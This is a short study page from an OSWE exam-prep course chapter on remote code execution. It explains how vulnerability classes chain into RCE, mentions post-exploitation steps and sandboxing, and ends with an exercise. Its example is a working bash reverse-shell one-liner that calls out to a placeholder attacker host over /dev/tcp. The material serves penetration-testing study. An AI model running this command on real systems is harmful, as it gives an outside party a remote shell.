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Remote Code Execution
OSWE · Chapter 8

Remote Code Execution

Remote Code Execution (RCE) is the umbrella outcome of many different vulnerability classes — deserialization, command injection, unsafe file upload, SSTI — all converging on the same result: the attacker can run arbitrary code on the server.

Key concepts

  • RCE is rarely a vulnerability class on its own — it is the *impact* of chaining an input-validation failure with a dangerous sink (interpreter, deserializer, template engine).
  • Once RCE is achieved, the standard next steps are establishing a reverse shell, then following post-exploitation practices (least footprint, no unnecessary lateral movement in real engagements).
  • Defense in depth matters even after other mitigations fail: running services as a low-privileged, sandboxed user limits the blast radius of any single RCE.
  • MITRE ATT&CK's Command and Scripting Interpreter technique catalogs the actual mechanisms (PowerShell, bash, Python) adversaries use once RCE is achieved.

Example

# Minimal reverse shell pattern once RCE is confirmed in a lab (bash target)
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Try it yourself

Trace back through the last three chapters (deserialization, XSS) and write one sentence each on how each vulnerability class could theoretically be chained into full RCE.

ReferenceSearch video walkthroughs

@ Daniel Burlacu